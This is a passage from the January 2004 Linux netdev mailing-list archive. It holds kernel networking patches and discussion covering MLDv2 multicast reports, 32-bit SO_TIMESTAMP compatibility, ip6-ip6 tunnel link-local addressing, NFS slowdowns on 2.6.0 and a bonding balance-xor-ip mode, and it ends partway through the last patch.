MCAST_EXCLUDE. Eventually is_in() call returns false, > and MLDv2 packet isn't composed. > I don't know the right way to fix it, since the code is too complicated > by a lot of flags. > At least the following patch(diff from 2.6.0) works for me. > > Regards, > Takashi Hibi > > --- mcast.c 2003-12-18 11:59:28.000000000 +0900 > +++ new/mcast.c 2004-01-06 16:30:05.546174486 +0900 > @@ -1050,7 +1050,7 @@ int igmp6_event_query(struct sk_buff *sk > /* Translate milliseconds to jiffies */ > max_delay = (ntohs(hdr->icmp6_maxdelay)*HZ)/1000; > > - switchback = (idev->mc_qrv + 1) * max_delay; > + switchback = MLD_QRV_DEFAULT * 125*HZ + max_delay; > idev->mc_v1_seen = jiffies + switchback; > > /* cancel the interface change timer */ > @@ -1541,7 +1541,8 @@ static void mld_send_cr(struct inet6_dev > type = MLD2_CHANGE_TO_EXCLUDE; > else > type = MLD2_CHANGE_TO_INCLUDE; > - skb = add_grec(skb, pmc, type, 0, 0); > + if (!skb) > + skb = add_grec(skb, pmc, type, 0, 0); > } > spin_unlock_bh(&pmc->mca_lock); > } > @@ -1745,6 +1746,7 @@ static int ip6_mc_add1_src(struct ifmcad > return -ENOBUFS; > memset(psf, 0, sizeof(*psf)); > psf->sf_addr = *psfsrc; > + psf->sf_crcount = pmc->idev->mc_qrv; > if (psf_prev) { > psf_prev->sf_next = psf; > } else > @@ -1799,6 +1801,7 @@ int ip6_mc_add_src(struct inet6_dev *ide > struct ifmcaddr6 *pmc; > int isexclude; > int i, err; > + int first_join_src_grp; > > if (!idev) > return -ENODEV; > @@ -1816,6 +1819,8 @@ int ip6_mc_add_src(struct inet6_dev *ide > > sf_markstate(pmc); > isexclude = pmc->mca_sfmode == MCAST_EXCLUDE; > + first_join_src_grp = (!pmc->sources && sfmode == MCAST_INCLUDE && > + sfcount == 1 && delta); > if (!delta) > pmc->mca_sfcount[sfmode]++; > err = 0; > @@ -1827,10 +1832,19 @@ int ip6_mc_add_src(struct inet6_dev *ide > if (err) { > int j; > > - pmc->mca_sfcount[sfmode]--; > + if (!delta) > + pmc->mca_sfcount[sfmode]--; > for (j=0; j (void) ip6_mc_del1_src(pmc, sfmode, &psfsrc[i]); > - } else if (isexclude != (pmc->mca_sfcount[MCAST_EXCLUDE] != 0)) { > + goto done; > + } > + if (first_join_src_grp) { > + pmc->mca_sfmode = MCAST_INCLUDE; > + if (sf_setstate(pmc)) > + mld_ifc_event(idev); > + goto done; > + } > + if (isexclude != (pmc->mca_sfcount[MCAST_EXCLUDE] != 0)) { > struct inet6_dev *idev = pmc->idev; > struct ip6_sf_list *psf; > > @@ -1848,6 +1862,7 @@ int ip6_mc_add_src(struct inet6_dev *ide > mld_ifc_event(idev); > } else if (sf_setstate(pmc)) > mld_ifc_event(idev); > +done: > spin_unlock_bh(&pmc->mca_lock); > read_unlock_bh(&idev->lock); > return err; > > From dlstevens@us.ibm.com Tue Jan 6 19:47:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 19:47:45 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i073lPTa006891 for ; Tue, 6 Jan 2004 19:47:31 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i073lD19485168; Tue, 6 Jan 2004 22:47:13 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i073lD67063518; Tue, 6 Jan 2004 20:47:13 -0700 Importance: Normal Sensitivity: Subject: Re: MLD problems (again) To: Takashi Hibi Cc: netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: David Stevens Date: Tue, 6 Jan 2004 19:47:09 -0800 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/06/2004 20:47:13 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE487DF81945D8f9e8a93df938690918c07BBE487DF81945D" Content-Disposition: inline X-archive-position: 2252 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE487DF81945D8f9e8a93df938690918c07BBE487DF81945D Content-type: text/plain; charset=US-ASCII >In some cases, both CHANGE_TO_INCLUDE and ALLOW_NEW_SOURCES can be included. >It is redundant. (That is why I added the code mentioned in 1) ) >When to join SSM (without previous join), is it OK to use CHANGE_TO_INCLUDE? >ALLOW_NEW_SOURCES seems ordinary (and Implementation of FreeBSD is so). >I couldn't judge which should be used (or both OK) from MLDv2 draft. We ran into something similar during testing. The problem is, I didn't have the option of rewriting all the existing multicast code. So some cases in the full-state interface that ought to be atomic are really a combination of a join and a filter mode change. The reason is because I wanted to use the existing multicast join/leave code, and leave all the existing join/leave callers alone. That can result in an extra change record, since it's indistinguishable from the two-step series of joining a group and changing the filter afterwards. But (at least with the tests we did), the report was still correct-- just not optimal. The easy solution was to write a duplicate version of mc_join_group and mc_leave_group, with some minor changes to them, for use by the source filter callers and use the nearly duplicated versions for the non-source filter callers. I chose not to do that. There is a 1-tick delay before generating the change reports and making that longer might have the desired effect, if all the non-atomic changes complete before the report is sent-- I didn't try that, but it's still not guaranteed to be atomic in the change reports. Alternatively, the source filters (if any) could've been added as an argument for the join and leave functions, which would've meant changing all of the existing calls, too. I didn't like either of those approaches, so I treated a full-state filter with auto-join as the series of join and filter change. I think the approach you're taking may mess up other cases, though, and since the report isn't incorrect, just not optimal, I planned to look at this later to see if I can think of a way around it. >No, mld_ifc_event() is called when the problem occurrs. >But because of the wrong mca_sfmode value, mld_send_cr() doen't >send MLD listner report. If the new filter has different sources, and it should, then it still should result in a change report. But again, I need to look at it in more detail before suggesting a fix. When I got your initial report, I wrote a test program and reproduced the problem, and I did some initial looking at the code but had not yet found what's going on; I'll get back to it this week. +-DLS --0__=07BBE487DF81945D8f9e8a93df938690918c07BBE487DF81945D Content-type: text/html; charset=US-ASCII Content-Disposition: inline

>In some cases, both CHANGE_TO_INCLUDE and ALLOW_NEW_SOURCES can be included.
>It is redundant. (That is why I added the code mentioned in 1) )
>When to join SSM (without previous join), is it OK to use CHANGE_TO_INCLUDE?
>ALLOW_NEW_SOURCES seems ordinary (and Implementation of FreeBSD is so).
>I couldn't judge which should be used (or both OK) from MLDv2 draft.

We ran into something similar during testing. The problem is, I didn't
have the option of rewriting all the existing multicast code. So some
cases in the full-state interface that ought to be atomic are really a
combination of a join and a filter mode change. The reason is because
I wanted to use the existing multicast join/leave code, and leave all
the existing join/leave callers alone. That can result in an
extra change record, since it's indistinguishable from the two-step series
of joining a group and changing the filter afterwards. But (at least
with the tests we did), the report was still correct-- just not optimal.

The easy solution was to write a duplicate version of mc_join_group and
mc_leave_group, with some minor changes to them, for use by the source
filter callers and use the nearly duplicated versions for the non-source
filter callers. I chose not to do that. There is a 1-tick delay before
generating the change reports and making that longer might have the
desired effect, if all the non-atomic changes complete before the report
is sent-- I didn't try that, but it's still not guaranteed to be
atomic in the change reports.

Alternatively, the source filters (if any) could've been added as an
argument for the join and leave functions, which would've meant changing
all of the existing calls, too. I didn't like either of those approaches,
so I treated a full-state filter with auto-join as the series of join and
filter change.

I think the approach you're taking may mess up other cases, though, and
since the report isn't incorrect, just not optimal, I planned to look at
this later to see if I can think of a way around it.

>No, mld_ifc_event() is called when the problem occurrs.
>But because of the wrong mca_sfmode value, mld_send_cr() doen't
>send MLD listner report.

If the new filter has different sources, and it should, then
it still should result in a change report. But again, I need to look
at it in more detail before suggesting a fix. When I got your initial
report, I wrote a test program and reproduced the problem, and I did
some initial looking at the code but had not yet found what's going
on; I'll get back to it this week.

+-DLS



--0__=07BBE487DF81945D8f9e8a93df938690918c07BBE487DF81945D-- From cmadams@hiwaay.net Tue Jan 6 20:18:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 20:19:00 -0800 (PST) Received: from mail.hiwaay.net (bee.hiwaay.net [216.180.54.11]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i074IlTa007605 for ; Tue, 6 Jan 2004 20:18:47 -0800 Received: from bee.hiwaay.net (localhost [127.0.0.1]) by mail.hiwaay.net (8.12.10/8.12.10) with ESMTP id i074Iku51465550 for ; Tue, 6 Jan 2004 22:18:46 -0600 (CST) Received: (from cmadams@localhost) by bee.hiwaay.net (8.12.10/8.12.10/DefSubmit) id i074Ikgh1465627 for netdev@oss.sgi.com; Tue, 6 Jan 2004 22:18:46 -0600 (CST) Date: Tue, 6 Jan 2004 22:18:46 -0600 From: Chris Adams To: netdev@oss.sgi.com Subject: Re: Problem with Compaq NC3131 dual eth card Message-ID: <20040107041845.GA1446903@hiwaay.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-archive-position: 2253 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cmadams@hiwaay.net Precedence: bulk X-list: netdev Once upon a time, Feldman, Scott said: > You're EEPROM image is invalid - looks like it's all 0xFFs - verify with > ethtool -e ethX. The first three words of the EEPROM should be the MAC > address. e100 errors out because it wants a valid MAC address. Yep, all 1s. > > Is my card defective or is this a compatibility problem? Is > > there a way to fix this? > > Get another nic or reprogram the EEPROM in this one. I looked at some other Intel NICs here and kind of winged it; I reprogrammed both EEPROMs, made up a couple of MACs, and it is working now. Thanks. Not bad for a $20 card picked up at a general surplus store here. It was still sealed in the box (Compaq labels on both box flaps, sealed static bag, etc.), so it must have come that way from Compaq. Maybe they had a bad batch and surplused them instead of fixing them? Now I might have to go back and pick up some more! :-) -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From davem@pizda.ninka.net Tue Jan 6 21:44:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 21:45:03 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i075ifTa011740 for ; Tue, 6 Jan 2004 21:44:41 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id VAA04099; Tue, 6 Jan 2004 21:36:42 -0800 Date: Tue, 6 Jan 2004 21:36:42 -0800 From: "David S. Miller" To: James Morris Cc: laforge@netfilter.org, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org, sds@epoch.ncsc.mil Subject: Re: [RFC] IPv4 Netfilter hook priorities for SELinux Message-Id: <20040106213642.3b30f4bc.davem@redhat.com> In-Reply-To: References: <20040106191311.GH934@obroa-skai.de.gnumonks.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2254 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 6 Jan 2004 15:05:10 -0500 (EST) James Morris wrote: > Ok, here is the patch with support for IPv4 and IPv6. I've not added > anything for ARP yet as SELinux does not have any ARP controls at this > stage (and probably won't in the near future). > > Please apply. Applied, thanks guys. From ak@suse.de Wed Jan 7 01:45:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 07 Jan 2004 01:45:37 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i079jDTa019901 for ; Wed, 7 Jan 2004 01:45:14 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id A3A0F19A211D; Wed, 7 Jan 2004 10:07:46 +0100 (CET) Date: Wed, 7 Jan 2004 10:07:43 +0100 From: Andi Kleen To: davem@redhat.com, netdev@oss.sgi.com Subject: [PATCH] Add 32bit emulation for cmsg SO_TIMESTAMP Message-Id: <20040107100743.1c0b18c2.ak@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2255 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Some traceroute versions use the SO_TIMESTAMP cmsg for time measurement. This fixes them when running as 32bit on a 64bit x86-64 kernel. -Andi --- linux-2.6.1rc2-amd64/net/compat.c-o 2003-11-23 19:46:36.000000000 -0800 +++ linux-2.6.1rc2-amd64/net/compat.c 2004-01-07 00:21:43.741256711 -0800 @@ -215,15 +215,25 @@ int put_cmsg_compat(struct msghdr *kmsg, int level, int type, int len, void *data) { + struct compat_timeval ctv; struct compat_cmsghdr *cm = (struct compat_cmsghdr *) kmsg->msg_control; struct compat_cmsghdr cmhdr; - int cmlen = CMSG_COMPAT_LEN(len); + int cmlen; if(cm == NULL || kmsg->msg_controllen < sizeof(*cm)) { kmsg->msg_flags |= MSG_CTRUNC; return 0; /* XXX: return error? check spec. */ } + if (level == SOL_SOCKET && type == SO_TIMESTAMP) { + struct timeval *tv = (struct timeval *)data; + ctv.tv_sec = tv->tv_sec; + ctv.tv_usec = tv->tv_usec; + data = &ctv; + len = sizeof(struct compat_timeval); + } + + cmlen = CMSG_COMPAT_LEN(len); if(kmsg->msg_controllen < cmlen) { kmsg->msg_flags |= MSG_CTRUNC; cmlen = kmsg->msg_controllen; From vnuorval@tcs.hut.fi Wed Jan 7 01:51:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 07 Jan 2004 01:51:57 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i079pXTa020436 for ; Wed, 7 Jan 2004 01:51:34 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id 8DA3A8002F6; Wed, 7 Jan 2004 11:22:59 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i079Mx7Y027967; Wed, 7 Jan 2004 11:22:59 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i079Mvf4027963; Wed, 7 Jan 2004 11:22:57 +0200 Date: Wed, 7 Jan 2004 11:22:57 +0200 (EET) From: Ville Nuorvala To: davem@redhat.com Cc: yoshfuji@linux-ipv6.org, pekkas@netcore.fi, netdev@oss.sgi.com Subject: [PATCH][RESEND] IPv6: Autoconfig link-local address on ip6-ip6 tunnel device Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2256 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Hi Dave, This patch, made against cset 1.1492, adds a link-local address to a ip6-ip6 tunnel interface when it is brougth up. It also changes the router solicitation behavior slightly by checking that rtr_solicits is > 0, before sending a router solicitation after a successful DAD probe on the link-local address. 2.6.0 has been released, so would you apply this patch now? :) Thanks, Ville diff -Nru a/net/ipv6/addrconf.c b/net/ipv6/addrconf.c --- a/net/ipv6/addrconf.c Wed Jan 7 11:07:42 2004 +++ b/net/ipv6/addrconf.c Wed Jan 7 11:07:42 2004 @@ -1809,6 +1809,54 @@ sit_route_add(dev); } +static inline int +ipv6_inherit_linklocal(struct inet6_dev *idev, struct net_device *link_dev) +{ + struct in6_addr lladdr; + + if (!ipv6_get_lladdr(link_dev, &lladdr)) { + addrconf_add_linklocal(idev, &lladdr); + return 0; + } + return -1; +} + +static void ip6_tnl_add_linklocal(struct inet6_dev *idev) +{ + struct net_device *link_dev; + + /* first try to inherit the link-local address from the link device */ + if (idev->dev->iflink && + (link_dev = __dev_get_by_index(idev->dev->iflink))) { + if (!ipv6_inherit_linklocal(idev, link_dev)) + return; + } + /* then try to inherit it from any device */ + for (link_dev = dev_base; link_dev; link_dev = link_dev->next) { + if (!ipv6_inherit_linklocal(idev, link_dev)) + return; + } + printk(KERN_DEBUG "init ip6-ip6: add_linklocal failed\n"); +} + +/* + * Autoconfigure tunnel with a link-local address so routing protocols, + * DHCPv6, MLD etc. can be run over the virtual link + */ + +static void addrconf_ip6_tnl_config(struct net_device *dev) +{ + struct inet6_dev *idev; + + ASSERT_RTNL(); + + if ((idev = addrconf_add_dev(dev)) == NULL) { + printk(KERN_DEBUG "init ip6-ip6: add_dev failed\n"); + return; + } + ip6_tnl_add_linklocal(idev); + addrconf_add_mroute(dev); +} int addrconf_notify(struct notifier_block *this, unsigned long event, void * data) @@ -1822,7 +1870,9 @@ case ARPHRD_SIT: addrconf_sit_config(dev); break; - + case ARPHRD_TUNNEL6: + addrconf_ip6_tnl_config(dev); + break; case ARPHRD_LOOPBACK: init_loopback(dev); break; @@ -2121,6 +2171,7 @@ */ if (ifp->idev->cnf.forwarding == 0 && + ifp->idev->cnf.rtr_solicits > 0 && (dev->flags&IFF_LOOPBACK) == 0 && (ipv6_addr_type(&ifp->addr) & IPV6_ADDR_LINKLOCAL)) { struct in6_addr all_routers; diff -Nru a/net/ipv6/ip6_tunnel.c b/net/ipv6/ip6_tunnel.c --- a/net/ipv6/ip6_tunnel.c Wed Jan 7 11:07:42 2004 +++ b/net/ipv6/ip6_tunnel.c Wed Jan 7 11:07:42 2004 @@ -821,6 +821,8 @@ else dev->flags &= ~IFF_POINTOPOINT; + dev->iflink = p->link; + if (p->flags & IP6_TNL_F_CAP_XMIT) { struct rt6_info *rt = rt6_lookup(&p->raddr, &p->laddr, p->link, 0); @@ -829,8 +831,6 @@ return; if (rt->rt6i_dev) { - dev->iflink = rt->rt6i_dev->ifindex; - dev->hard_header_len = rt->rt6i_dev->hard_header_len + sizeof (struct ipv6hdr); @@ -1040,7 +1040,6 @@ dev->hard_header_len = LL_MAX_HEADER + sizeof (struct ipv6hdr); dev->mtu = ETH_DATA_LEN - sizeof (struct ipv6hdr); dev->flags |= IFF_NOARP; - dev->iflink = 0; dev->addr_len = sizeof(struct in6_addr); } -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From g.liakhovetski@gmx.de Wed Jan 7 05:37:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 07 Jan 2004 05:37:52 -0800 (PST) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i07DbXTa001195 for ; Wed, 7 Jan 2004 05:37:33 -0800 Received: (qmail 27485 invoked by uid 65534); 7 Jan 2004 13:37:25 -0000 Received: from dialin-145-254-137-059.arcor-ip.net (EHLO poirot.grange) (145.254.137.59) by mail.gmx.net (mp004) with SMTP; 07 Jan 2004 14:37:25 +0100 X-Authenticated: #20450766 Received: from lyakh (helo=localhost) by poirot.grange with local-esmtp (Exim 3.35 #1 (Debian)) id 1AeDmR-00008g-00; Wed, 07 Jan 2004 14:31:27 +0100 Date: Wed, 7 Jan 2004 14:31:27 +0100 (CET) From: Guennadi Liakhovetski To: nfs@lists.sourceforge.net cc: netdev@oss.sgi.com, Subject: 2.6.0 NFS-server low to 0 performance (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2257 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: g.liakhovetski@gmx.de Precedence: bulk X-list: netdev Sorry for cross-posting - wasn't sure which list would give the best chances. I am forwarding a problem-report, sent yesterday to lkml with a bit more data. Short: The NFS server on a PC with a 2.6.0 (release) kernel slows down to a crawl or stops completely. Searched archives - nothing fits exact enough. The server (PC1) is a 900MHz Duron with 384M RAM and a tulip 10/100 (LinkSys) network card (Linksys Network Everywhere Fast Ethernet 10/100 model NC100 (rev 17)). Clients: PC2 - Pentium 133MHz with 24M RAM and an onboard Lance 79C970 10mbps network card, a SA1100 platform (Tuxscreen / Shannon) with 16M RAM, PCMCIA Netgear 10/100mbps ne2000-compatible (pcnet_cs + 8390) card a PXA250 platform (Inphinity / Triton starter-kit) with 64M RAM, onboard SMC91C11xFD (smc91x driver) 10/100 chip In the tests below I was copying a 4M file from an NFS-mounted directory to a RAM-based fs (ramfs / tmpfs). Here are results: server with 2.6.0 kernel: PC2:2.6.0-test11 2m21s (*) PC2:2.4.20 16.5s SA1100:2.4.19-rmk7 never finishes (*) PXA:2.4.21-rmk1-pxa1 as above PXA:2.6.0-rmk1-pxa as above server: 2.4.21 PC2:2.6.0-test11 6s PC2:2.4.20 5s SA1100:2.4.19-rmk7 3.22s PXA:2.4.21-rmk1-pxa1 7s PXA:2.6.0-rmk2-pxa 1) 50s (**) (***) 2) 27s (**) (*) Messages "NFS server not responding" / "NFS server OK", "mount version older than kernel" on mount (**) Messages "NFS server not responding" / "NFS server OK", "mount version older than kernel" on mount, trafic shows as several peaks (***) 2.6.0-rmk2-pxa corresponds to the 2.6.0-rmk2 kernel with a PXA-patch forward-ported from diff-2.6.0-test2-rmk1-pxa1. The LinkSys card I bought recently, before I used a RTL (3c59x) card, only capable of 10mbps. Here are the results of today with this card: server: 2.6.0 PC2: 2.6.0-test11 9s PC2: 2.4.20 4s SA1100: 2.4.19-rmk7 never finishes server: 2.4.21 SA1100: 2.4.19-rmk7 6s Then I tried PC2 as a server with different kernels PC2: 2.6.0-test11 PC1: 2.6.0 10s SA1100: 2.4.19-rmk7 never finishes server PC2: 2.4.20 PC1: 2.6.0 6s SA1100: 2.4.19-rmk7 7s It is not just a problem of 2.6 with those specific network configurations - ftp / http / tftp transfers work fine. E.g. wget of the same file on the PXA with 2.6.0 from the PC1 with 2.4.21 over http takes about 2s. So, it is 2.6 + NFS. nfs-utils on both PC1 and PC2 version 1.0.6 (Debian Sarge). Is it fixed somewhere (2.6.1-rcx?), or what should I try / what further information is required? Sorry, I am not subscribed to any of these lists, so, please, CC. Thanks Guennadi --- Guennadi Liakhovetski From davem@pizda.ninka.net Wed Jan 7 12:18:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 07 Jan 2004 12:19:11 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i07KIsTa019744 for ; Wed, 7 Jan 2004 12:18:54 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id MAA18970; Wed, 7 Jan 2004 12:12:58 -0800 Date: Wed, 7 Jan 2004 12:12:58 -0800 From: "David S. Miller" To: Andi Kleen Cc: netdev@oss.sgi.com Subject: Re: [PATCH] Add 32bit emulation for cmsg SO_TIMESTAMP Message-Id: <20040107121258.722a7f16.davem@redhat.com> In-Reply-To: <20040107100743.1c0b18c2.ak@suse.de> References: <20040107100743.1c0b18c2.ak@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2258 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 7 Jan 2004 10:07:43 +0100 Andi Kleen wrote: > Some traceroute versions use the SO_TIMESTAMP cmsg for time measurement. > This fixes them when running as 32bit on a 64bit x86-64 kernel. Applied, thanks Andi. From davem@pizda.ninka.net Wed Jan 7 12:22:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 07 Jan 2004 12:23:15 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i07KMnTa022732 for ; Wed, 7 Jan 2004 12:22:50 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id MAA18999; Wed, 7 Jan 2004 12:15:51 -0800 Date: Wed, 7 Jan 2004 12:15:50 -0800 From: "David S. Miller" To: Ville Nuorvala Cc: yoshfuji@linux-ipv6.org, pekkas@netcore.fi, netdev@oss.sgi.com Subject: Re: [PATCH][RESEND] IPv6: Autoconfig link-local address on ip6-ip6 tunnel device Message-Id: <20040107121550.1dba9972.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2259 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 7 Jan 2004 11:22:57 +0200 (EET) Ville Nuorvala wrote: > This patch, made against cset 1.1492, adds a link-local address to a > ip6-ip6 tunnel interface when it is brougth up. > > It also changes the router solicitation behavior slightly by checking that > rtr_solicits is > 0, before sending a router solicitation after a > successful DAD probe on the link-local address. > > 2.6.0 has been released, so would you apply this patch now? :) Patch applied, thanks Ville. From per@hedeland.org Wed Jan 7 12:58:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 07 Jan 2004 12:58:51 -0800 (PST) Received: from pluto.hedeland.org (as1-2-8.mal.s.bonet.se [194.236.4.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i07KwaTa023790 for ; Wed, 7 Jan 2004 12:58:37 -0800 Received: from pluto.hedeland.org (localhost [127.0.0.1]) by pluto.hedeland.org (8.12.10/8.12.10) with ESMTP id i07KwWI5054482 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 7 Jan 2004 21:58:32 +0100 (CET) Received: (from per@localhost) by pluto.hedeland.org (8.12.10/8.12.10/Submit) id i07KwWba054481; Wed, 7 Jan 2004 21:58:32 +0100 (CET) Date: Wed, 7 Jan 2004 21:58:32 +0100 (CET) From: Per Hedeland Message-Id: <200401072058.i07KwWba054481@pluto.hedeland.org> To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] [bonding 2.4] Add balance-xor-ip bonding mode X-archive-position: 2260 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: per@hedeland.org Precedence: bulk X-list: netdev This patch adds a new bonding policy, similar to the previously existing balance-xor, but using the IP addresses rather than MAC addresses for IP packets, with fallback to MAC-based balance-xor for non-IP packets. The patch is against the netdev-2.4 tree (with Shmulik's 'update comment blocks' and Amir's 'using per-bond parameters' patches applied). --Per Hedeland per@hedeland.org diff -Nru a/Documentation/networking/bonding.txt b/Documentation/networking/bonding.txt --- a/Documentation/networking/bonding.txt Wed Jan 7 16:31:56 2004 +++ b/Documentation/networking/bonding.txt Wed Jan 7 16:33:42 2004 @@ -368,6 +368,17 @@ fails it's hw address is swapped with the new curr_active_slave that was chosen. + balance-xor-ip or 7 + + XOR IP policy: Transmit based on [(source IP address + XOR'd with destination IP address) modula slave count]. + I.e. similar to balance-xor, but uses the IP addresses + rather than MAC addresses for IP packets, which provides + better load balancing in some cases (e.g. most traffic + sent to a default gateway). For non-IP packets, it will + fall back to MAC-based balance-xor. This mode provides + load balancing and fault tolerance. + primary A string (eth0, eth2, etc) to equate to a primary device. If this diff -Nru a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Wed Jan 7 16:26:59 2004 +++ b/drivers/net/bonding/bond_main.c Wed Jan 7 16:41:28 2004 @@ -476,6 +476,7 @@ #include #include #include +#include #include #include #include @@ -585,6 +586,7 @@ { "balance-rr", BOND_MODE_ROUNDROBIN}, { "active-backup", BOND_MODE_ACTIVEBACKUP}, { "balance-xor", BOND_MODE_XOR}, +{ "balance-xor-ip", BOND_MODE_XOR_IP}, { "broadcast", BOND_MODE_BROADCAST}, { "802.3ad", BOND_MODE_8023AD}, { "balance-tlb", BOND_MODE_TLB}, @@ -607,6 +609,8 @@ return "fault-tolerance (active-backup)"; case BOND_MODE_XOR : return "load balancing (xor)"; + case BOND_MODE_XOR_IP: + return "load balancing (xor-ip)"; case BOND_MODE_BROADCAST : return "fault-tolerance (broadcast)"; case BOND_MODE_8023AD: @@ -3658,16 +3662,17 @@ /* * in XOR mode, we determine the output device by performing xor on - * the source and destination hw adresses. If this device is not + * the source and destination adresses. If this device is not * enabled, find the next slave following this xor slave. */ -static int bond_xmit_xor(struct sk_buff *skb, struct net_device *bond_dev) +static int bond_xmit_xor(struct sk_buff *skb, struct net_device *bond_dev, int use_ip) { struct bonding *bond = bond_dev->priv; struct ethhdr *data = (struct ethhdr *)skb->data; struct slave *slave, *start_at; - int slave_no; + int slave_no = 0; int i; + __u32 u; read_lock(&bond->lock); @@ -3675,7 +3680,30 @@ goto free_out; } - slave_no = 